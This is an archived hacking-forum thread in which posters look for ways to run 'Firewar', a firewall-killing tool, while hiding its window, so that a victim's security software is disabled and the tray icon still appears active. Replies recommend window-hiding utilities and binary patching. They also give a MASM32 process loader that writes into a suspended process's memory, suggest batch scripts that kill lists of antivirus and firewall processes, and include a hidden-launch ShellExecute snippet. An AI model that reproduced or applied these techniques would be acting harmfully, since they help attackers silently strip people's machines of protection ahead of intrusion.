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Full Version: Hidden Execution?
I Found exactly what I need it will kill all firewalls with the icon still downstairs. Anyway what your now drooling about is "Firewar", search google. The problem is when executed it brings up a little screen saying whats its doing; why this was added I dont know. So how do I get rid of it or hide it?
try and use HideRun.exe which you'll find here http://www.governmentsecurity.org/forum/in...=15entry12332
should do the trick SkitZZ
NOPE, I have tried both hidden32.exe hiderun.exe and ghost.exe; none will hide this app. I think the author doesnt want you to use it for this purpose but the exact purpose im trying to use it for he describes as a use on his site!
maybe a good resource editor will do the trick ?
give me a couple days...ill have it hexed
hmm have you tested it with the HideRun.exe from the link i gave ya above coz when i run it on my box (running xp pro atm) it hides the gui,
tho it flickers on for a split second when its started. ps. i have ZoneAlarm Pro 4.5.538.001 installed and firewar.exe is telling me that its not running SkitZZ
I am also looking for something like this. Looking for it more to be in the form of a bat file. But something that kills 300+ proggies
This is one of the simplest things you can do..
the program most likely runs hidden but the window shows up you can patch it to run with SW_HIDE u can also nop out the call to the messagebox or window You can make a bootloader if it is the main program that shows you. use your immaganation ---code starts here---- .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data FileName db "c:\crackme.exe",0 loaderr db "Could not load process",0 gonogo db "we are a go no go for launch",0 NewCapt db "paradox is..",0 Startup STARTUPINFO <> processinfo PROCESS_INFORMATION <> .data? hInstance HINSTANCE ? byteswritten dd ? .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke CreateProcess, addr FileName,NULL,NULL,NULL,NULL,CREATE_SUSPENDED,NULL,NULL,addr Startup, addr processinfo .if eax == NULL invoke MessageBox,NULL,addr loaderr,NULL, MB_ICONEXCLAMATION .else invoke MessageBox,NULL, addr gonogo,NULL, MB_OK invoke WriteProcessMemory, processinfo.hProcess, 004050FCh, addr NewCapt,sizeof NewCapt, byteswritten invoke ResumeThread, processinfo.hThread .endif push eax call ExitProcess end start --- end code snippet---- just use masm32 to compile it and of course edit the offsets etc to write to just a simple example of how a loader works but yeah just hex edit so it firewar pushes sw_hide to the window so it wont be seen simple but effecitve
Doing a batch file is just as good, there are lists of process and service names of AV's and firewalls floating around. Chuck them in a batch, run it and you're set. No GUI program needed.
yes, I am looking for that list. Lemme know if you find a good one plz. Im about to hit google.
here m8
You can test Firedeamon too, he have many functions.
The official page here: http://www.firedaemon.com/
Thanks exist
Just to play devil's advocate I am gonna disagree. what he is desribing would leave the icon looking "enabled" on the taskbar..something the bat wouldnt do.. Gonna take a peek at this one and see if its the same as another I found floating about...
Yes much more stealthy than just killing thru a bat script. Also on XP it pops up the command window and that looks bad too. And even if it flickers thats not good enuf. Also, If ANYONE has a list of just FIREWALL services or exes PLEASE SEND IT TO ME! OCKid562@hotmail.com
@Exploited, when thats done may I have a copy.
if you have VisualBasic installed there, here is a tip to create your own "HideRun.exe" in 2 seconds
enjoy
or u can use an exe of your own ...
Procedure kill() ShellExecute_(0,"open","firewar.exe",0,0,#SW_HIDE) EndProcedure C Langage must closed to this , i tested the little exe i made and it works perfectly This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
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